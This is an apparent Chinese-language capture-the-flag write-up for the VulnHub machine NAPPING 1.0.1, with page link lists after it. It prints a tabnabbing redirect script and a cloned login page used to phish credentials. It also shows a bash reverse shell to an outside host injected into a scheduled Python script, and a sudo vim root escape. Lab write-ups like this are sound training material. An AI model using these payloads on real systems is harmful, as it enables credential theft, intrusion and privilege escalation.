vulnhub靶场|NAPPING: 1.0.1
准备:
攻击机:虚拟机kali、本机win10。
靶机:NAPPING: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova.torrent,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。
涉及的知识点:vim提权、Tabnabbing漏洞利用、shell反弹。

信息收集:
先扫描以下网段内的主机ip,获取下靶机的ip地址:nmap 192.168.1.0/24。

使用nmap扫描靶机开放端口对应的具体服务信息,命令:nmap -T4 -sV -p- -A 192.168.1.4。

使用目录扫描工具对目录进行扫描,这里使用的是dirmap,命令:python dirmap.py -i http://192.168.1.4/ -lcf,发现index.php、config.php等文件,但是config.php显示是空白。

靶机开放了80端口,请求下:http://192.168.1.4/,查看下web端,发现是一个登录界面,进行了简单的注入测试,但是未成功,那就先注册一个:admin/admin123进行登录。

注册登录之后的界面:

这里告诉我们可以发送自定义链接并且这个链接会被管理员检查,我们先发送一个https://www.baidu.com/进行提交测试,发现会生成一个指向百度的超链接并且在其代码中发现a标签中只有target=_blank,而没有使用rel="noopener/noreferrer"属性,因此这里可能存在Tabnabbing漏洞(钓鱼攻击)。

漏洞攻击:
关于漏洞的利用原理,这里用一个图说明以下,这里的超链接B就是我们输入要提交的链接,界面C是靶机80端口的登录界面,这样我们才可以诱导管理员账户登录我们伪造的界面,获取到管理员的账户信息。

首先制作恶意界面upfine.html,代码信息:
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.1.12:6688/get_info.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.1.12::6688/get_info.html');
</script>
</body>
</html>
然后退出登录在登录界面检查源代码信息并进行复制,生成get_info.html,代码信息如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="/index.php" method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
然后将制作的upfine.html页面和get_info.html页面放入到kali中的一个目录下并开启web服务:python -m http.server 80,同时开启对6688端口的监听:nc -lvvp 6688,然后将http://192.168.1.12/upfine.html地址进行提交,监听窗口成功获得账户名和密码(%40是@):daniel/C@ughtm3napping123。

ssh远程登录:
获得账户密码之后采用xshell进行远程登录。

提权:
ssh登录查看id时发现其属于administrators组,因此查一下此用户组下可以运行的程序,命令:find / -group administrators 2>/dev/null,发现/home/adrian/query.py文件。


发现site_status.txt文件每两分钟写入一次,就表明query.py每两分钟执行一次,因此我们就可以写入反弹shell的脚本来让query.py脚本进行执行,获取更高的权限的shell。

在/home/daniel下写入shell.sh文件,文件内容如下:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'
然后在query.py文件中添加对shell.sh脚本的执行,内容如下:
import os
os.system('/usr/bin/bash /home/daniel/shell.sh')

在kali端开启对8899端口的监听,成功获取到adrina用户的shell权限。

VIM提权:
在adrian用户的shell里执行sudo -l发现vim权限可以不需要root密码即可执行,那就使用vim直接写入shell,命令:sudo vim -c ':!/bin/bash',成功获取root权限shell。


通过:python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell。

vulnhub靶场|NAPPING: 1.0.1的更多相关文章
- vulnhub靶场之AI-WEB1.0渗透记录
在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程 目录 一.确认靶机ip 二.端口&目录扫描 三.查看敏感目录 四.sql注入 五.get shell 六.系统提权 确认靶机ip ka ...
- vulnhub靶场之JANGOW: 1.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- Qt 国际化翻译
简介 Qt Linguist 提供了一套加速应用程序翻译和国际化的工具.Qt 使用单一的源码树和单一的应用程序二进制包就可同时支持多个语言和书写系统. 使用 QTranslator 来加载生成的 qm ...
- 使用.NET简单实现一个Redis的高性能克隆版(七-完结)
译者注 该原文是Ayende Rahien大佬业余自己在使用C# 和 .NET构建一个简单.高性能兼容Redis协议的数据库的经历. 首先这个"Redis"是非常简单的实现,但是他 ...
- 使用JMeter测试.Net5.0,.Net6.0框架下无数据处理的并发情况
1. 安装JMeter及使用 1.1下载JMeter 登录官方网站找到下载链接进行下载:https://jmeter.apache.org/download_jmeter.cgi 1.2配置环境变 ...
- [PostgreSql]生产级别数据库安装要考虑哪些问题?
大家好,我是字母哥(coder)! 我让公司的小伙伴写一个生产级别的PostgreSQL的安装文档,结果他和我说:"不是用一个命令就能安装好么?还用写文档么?".我知道他想说的是这 ...
- [CF1538E] Funny Substrings (模拟)
题面 该场 Div. 3 最"难"的一道题:Funny Substrings O I D \tt OID OID 队长喜欢玩字符串,因为 " O n e I n D a ...
- 【manim】含有add_updater更新函数become的物体移动方法
在manim社区版本中, 一.对于一般的物体,移动的方法分为 (瞬移) 和 (带动画移动) 1.瞬移 #直接对物体操作即可 obj.shift(LEFT) #瞬间移 ...
- MySQL5.7.35的安装
Step①: 下载安装包,MySQL下载地址:百度 Step②: 解压至你的安装路径,我个人是在E盘存放. Step③: 配置环境变量. ①:在系统属性中,点击环境变量. ②:找到环境变量-> ...
- kafka详解(一)--kafka是什么及怎么用
kafka是什么 在回答这个问题之前,我们需要先了解另一个东西--event streaming. 什么是event streaming 我觉得,event streaming 是一个动态的概念,它描 ...
- KingbaseES R3 受限dba影响集群切换
一.受限dba功能说明(参考自官方文档) 受限DBA 受限DBA可以对当前DBA的权限进行一定限制.当功能开启后DBA将不能更改以下对象: Table Database Function(by n ...
- Linux 压缩、解压缩命令
Linux 压缩.解压缩命令 tar 语法命令 tar [options-] [files] options: 选择 描述 -A 追加tar文件至归档 -c 创建一个新文档 -d 找出归档和文件系统的 ...